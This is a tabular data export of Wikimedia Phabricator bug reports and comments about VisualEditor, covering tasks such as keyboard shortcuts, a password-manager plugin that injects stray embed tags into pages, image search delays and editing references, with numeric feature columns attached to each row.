1621784,VisualEditor: Populate the edit summary for simple changes,See also T3307 & T14411,,,1606235062,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-dy2dbpcxtagget43fzoa,task_subcomment,,True,c1,3,True,,,386,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,See also T3307 & T14411
54844,VisualEditor: Add help page for all keyboard shortcuts,"GMail's keyboard shortcuts help page

Similar to GMail's modal when '?' is pressed.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F11100}",Low,25.0,1376487180,1389836925.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-sjrtlm4n5ikwytrhpwex,task_description,resolved,True,c1,3,True,False,False,6,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6595744680851063,0.5957446808510638,"GMail's keyboard shortcuts help page

Similar to GMail's modal when '?' is pressed.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F11100}"
233546,VisualEditor: Add help page for all keyboard shortcuts,"Change 98517 merged by jenkins-bot:
Keyboard shortcuts MW integration

https://gerrit.wikimedia.org/r/98517",,,1389823722,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sjrtlm4n5ikwytrhpwex,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.933333333333334,1.0,"Change 98517 merged by jenkins-bot:
Keyboard shortcuts MW integration

GERRIT_URL"
233540,VisualEditor: Add help page for all keyboard shortcuts,"Change 107153 merged by jenkins-bot:
Keyboard shortcuts dialog

https://gerrit.wikimedia.org/r/107153",,,1389821946,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sjrtlm4n5ikwytrhpwex,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,1.0,"Change 107153 merged by jenkins-bot:
Keyboard shortcuts dialog

GERRIT_URL"
233534,VisualEditor: Add help page for all keyboard shortcuts,"Change 107153 had a related patch set uploaded by Esanders:
WIP Keyboard shortcuts dialog

https://gerrit.wikimedia.org/r/107153",,,1389625063,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sjrtlm4n5ikwytrhpwex,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.944444444444445,1.0,"Change 107153 had a related patch set uploaded by Esanders:
WIP Keyboard shortcuts dialog

GERRIT_URL"
233528,VisualEditor: Add help page for all keyboard shortcuts,"Change 98517 had a related patch set uploaded by Esanders:
WIP Keyboard shortcuts dialog

https://gerrit.wikimedia.org/r/98517",,,1385994018,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sjrtlm4n5ikwytrhpwex,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 98517 had a related patch set uploaded by Esanders:
WIP Keyboard shortcuts dialog

GERRIT_URL"
54791,"VisualEditor: Broken DataVault browser plugin causes ""application/x-datavault"" to be injected into the page","At https://en.wikipedia.org/w/index.php?title=Judi_Dench&curid=85432&diff=568314406&oldid=568147939 the article was top and tailed with
<embed type=""application/x-datavault"" width=""0"" height=""0"" />

Searching seems to suggest the most likely cause is the ""DataVault"" password manager browser plugin

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1376392740,1412114322.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-ffqjhxzn42bsoktzv7bm,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,10.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,4.166666666666667,0.7,"At URL the article was top and tailed with
<embed type=""application/x-datavault"" width=""0"" height=""0"" />

Searching seems to suggest the most likely cause is the ""DataVault"" password manager browser plugin

--------------------------
**Version**: unspecified
**Severity**: minor"
255260,"VisualEditor: Broken DataVault browser plugin causes ""application/x-datavault"" to be injected into the page","Change 163961 merged by jenkins-bot:
Remove certain blacklisted elements when getting HTML from document

https://gerrit.wikimedia.org/r/163961",,,1412114025,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ffqjhxzn42bsoktzv7bm,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.2,1.0,"Change 163961 merged by jenkins-bot:
Remove certain blacklisted elements when getting HTML from document

GERRIT_URL"
255255,"VisualEditor: Broken DataVault browser plugin causes ""application/x-datavault"" to be injected into the page","Change 163961 had a related patch set uploaded by Alex Monk:
Remove certain blacklisted elements when getting HTML from document

https://gerrit.wikimedia.org/r/163961",,,1412113124,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ffqjhxzn42bsoktzv7bm,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,25.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,5.083333333333333,1.0,"Change 163961 had a related patch set uploaded by Alex Monk:
Remove certain blacklisted elements when getting HTML from document

GERRIT_URL"
255250,"VisualEditor: Broken DataVault browser plugin causes ""application/x-datavault"" to be injected into the page","Did you get anything back, Derk-Jan?",,,1397835827,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ffqjhxzn42bsoktzv7bm,task_subcomment,,True,c1,3,True,,,41,,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,20.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,1.0,"Did you get anything back, Derk-Jan?"
255244,"VisualEditor: Broken DataVault browser plugin causes ""application/x-datavault"" to be injected into the page",I've send an email to their support department. Let's hope it helps.,,,1376470329,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ffqjhxzn42bsoktzv7bm,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5625,0.9375,I've send an email to their support department. Let's hope it helps.
54786,"VisualEditor: Add support for making some templates directly ""visually editable"", as if they were tables (e.g. infoboxes)","A user at it.wp asks if, in the long term, it will be possible to edit templates directly (i.e., infoboxes), without the transclusion dialog, as if one was changing something in a table. Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1376386200,1394074105.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-fnziglwvvwpmlxekyjvk,task_description,resolved,True,c1,3,False,False,False,6,,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,3.901639344262295,0.7213114754098361,"A user at it.wp asks if, in the long term, it will be possible to edit templates directly (i.e., infoboxes), without the transclusion dialog, as if one was changing something in a table. Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
255013,"VisualEditor: Add support for making some templates directly ""visually editable"", as if they were tables (e.g. infoboxes)","

*** This bug has been marked as a duplicate of bug 50182 ***",,,1394074105,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fnziglwvvwpmlxekyjvk,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50182 ***"
54782,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,"<< http://en.wikipedia.org/wiki/File:GreatNurse.jpeg is a headshot of Virginia Henderson that was uploaded to Commons yesterday. VisualEditor's image feature can't find it, and won't accept file names that it doesn't believe exist. WhatamIdoing (talk) 00:17, 13 August 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=37578",Low,25.0,1376382300,1383013054.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-zckv7xwfgl4cxjix23f5,task_description,declined,True,c1,3,False,False,False,6,,0.0,0.0,0.0,1.0,4.0,2.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,1.0,2.0,16.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,2.0,2.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,3.6,0.6625,"<< URL is a headshot of Virginia Henderson that was uploaded to Commons yesterday. VisualEditor's image feature can't find it, and won't accept file names that it doesn't believe exist. WhatamIdoing (talk) 00:17, 13 August 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
254838,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,*** Bug 52218 has been marked as a duplicate of this bug. ***,,,1383282089,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zckv7xwfgl4cxjix23f5,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52218 has been marked as a duplicate of this bug. ***
254833,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,Marking WONTFIX as this is inherently fixed by CirrusSearch and lsearchd has been end of life'd and won't be improved further.,,,1383013054,,PHID-USER-oetk6bbl6omm354ejz3b,True,,,PHID-TASK-zckv7xwfgl4cxjix23f5,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,9.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.608695652173913,0.9565217391304348,Marking WONTFIX as this is inherently fixed by CirrusSearch and lsearchd has been end of life'd and won't be improved further.
254828,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,*** Bug 54777 has been marked as a duplicate of this bug. ***,,,1382572188,,PHID-USER-oetk6bbl6omm354ejz3b,True,,,PHID-TASK-zckv7xwfgl4cxjix23f5,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54777 has been marked as a duplicate of this bug. ***
254822,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,"The good news: CirrusSearch is updated a few seconds after a page is added, changed, or deleted.
The bad news: it isn't ready yet!",,,1377001750,,PHID-USER-2rnfxoezl66afpa7w7in,True,,,PHID-TASK-zckv7xwfgl4cxjix23f5,task_subcomment,,True,c1,3,False,,,7,,3.0,0.0,0.0,6.0,3.0,12.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,9.0,0.0,3.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.375,0.78125,"The good news: CirrusSearch is updated a few seconds after a page is added, changed, or deleted.
The bad news: it isn't ready yet!"
254817,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,The image now comes up in the search result - this is probably a delay in the speed with which the search index is updated.,,,1376952277,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zckv7xwfgl4cxjix23f5,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,8.0,4.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8076923076923075,0.8076923076923077,The image now comes up in the search result - this is probably a delay in the speed with which the search index is updated.
54750,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"At https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=568194420#I_can.27t_edit_the_references it has been proposed that it would be helpful to editors if they could edit references in the reference list, as well as where they appear inline.

""As just about every object you see on a page is directly editable with the VE, of course having the reflist not editable is counter-intuitive. ""

This proposal would make T54736 either unnecessary or just a ""workaround""/interim measure, depending on the timescale to implement.

--------------------------

#2 in the 2023 wishlist: https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2023/Citations/Allow_citations_to_be_edited_in_the_references_section_with_VisualEditor
",Low,25.0,1376315340,1688774070.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_description,resolved,True,c1,3,False,False,False,6,,1.0,0.0,0.0,1.0,1.0,8.0,3.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,5.0,1.0,2.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,15.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,4.0,7.0,3.0,2.0,9.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,0.0,5.0,13.0,2.0,0.0,3.0,0.0,5.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,4.298969072164948,0.7422680412371134,"At URL it has been proposed that it would be helpful to editors if they could edit references in the reference list, as well as where they appear inline.

""As just about every object you see on a page is directly editable with the VE, of course having the reflist not editable is counter-intuitive. ""

This proposal would make T54736 either unnecessary or just a ""workaround""/interim measure, depending on the timescale to implement.

--------------------------

#2 in the 2023 wishlist: URL
"
2321212,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by Novem Linguae using patch(es) linked to this task was **deleted**:

~~[[ https://patchdemo.wmflabs.org/wikis/d94eddd976/w/ ]]~~",,,1713878505,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,564,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.7027027027027026,0.7027027027027027,"Test wiki on [[ URL | Patch demo ]]  by Novem Linguae using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
2178030,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 950231 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Don't warn that reference list is uneditable%%%
https://gerrit.wikimedia.org/r/950231",,,1692430973,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,528,,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.8181818181818183,0.7878787878787878,"Change 950231 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Don't warn that reference list is uneditable%%%
GERRIT_URL"
2177867,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by Novem Linguae using patch(es) linked to this task:
[[ https://patchdemo.wmflabs.org/wikis/d94eddd976/w ]]",,,1692417223,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,528,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,2.757575757575758,0.696969696969697,"Test wiki **created** on [[ URL | Patch demo ]] by Novem Linguae using patch(es) linked to this task:
[[ URL ]]"
